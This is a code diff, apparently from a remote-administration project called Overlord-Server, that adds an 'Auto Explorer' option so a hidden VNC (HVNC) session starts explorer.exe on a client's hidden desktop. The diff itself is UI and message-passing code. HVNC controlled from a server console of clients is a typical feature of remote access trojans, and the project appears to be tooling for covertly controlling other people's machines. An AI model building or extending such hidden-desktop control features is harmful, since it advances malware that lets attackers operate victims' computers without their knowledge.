add auto start explorer

Overlord-Server/public/assets/hvnc.js

@@ -25,6 +25,7 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
   const mouseCtrl = document.getElementById("mouseCtrl");
   const kbdCtrl = document.getElementById("kbdCtrl");
   const cursorCtrl = document.getElementById("cursorCtrl");
+  const autoExplorerCtrl = document.getElementById("autoExplorerCtrl");
   const qualitySlider = document.getElementById("qualitySlider");
   const qualityValue = document.getElementById("qualityValue");
   const codecH264 = document.getElementById("codecH264");
@@ -199,7 +200,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
             display: parseInt(displaySelect.value, 10) || 0,
           });
         }
-        sendCmd("hvnc_start", {});
+        sendCmd("hvnc_start", {
+          autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
+        });
       } else {
         setStreamState("idle", "Stopped");
       }
@@ -426,7 +429,9 @@ import { encodeMsgpack, decodeMsgpack } from "./msgpack-helpers.js";
     desiredStreaming = true;
     lastFrameAt = 0;
     setStreamState("starting", "Starting stream");
-    sendCmd("hvnc_start", {});
+    sendCmd("hvnc_start", {
+      autoStartExplorer: autoExplorerCtrl ? autoExplorerCtrl.checked : true,
+    });
   });
   stopBtn.addEventListener("click", function () {
     desiredStreaming = false;

Overlord-Server/public/hvnc.html

@@ -127,6 +127,9 @@
             <label class="flex items-center gap-2 text-sm text-slate-200" title="Show mouse cursor in captured frames"
               ><input type="checkbox" id="cursorCtrl" /> Cursor</label
             >
+            <label class="flex items-center gap-2 text-sm text-slate-200" title="Auto-start explorer.exe on the hidden desktop when streaming begins"
+              ><input type="checkbox" id="autoExplorerCtrl" checked /> Auto Explorer</label
+            >
           </div>
         </div>
 

Overlord-Server/src/server/ws-console-rd-hvnc.ts

@@ -560,7 +560,9 @@ export function handleHVNCViewerMessage(ws: ServerWebSocket<SocketData>, raw: st
   switch (payload.type) {
     case "hvnc_start":
       if (!state.isStreaming) {
-        sendHVNCCommand(target, "hvnc_start", {});
+        sendHVNCCommand(target, "hvnc_start", {
+          autoStartExplorer: payload.autoStartExplorer !== false,
+        });
         state.isStreaming = true;
         hvncStreamingState.set(clientId, state);
         logger.debug(`[hvnc] started streaming for client ${clientId}`);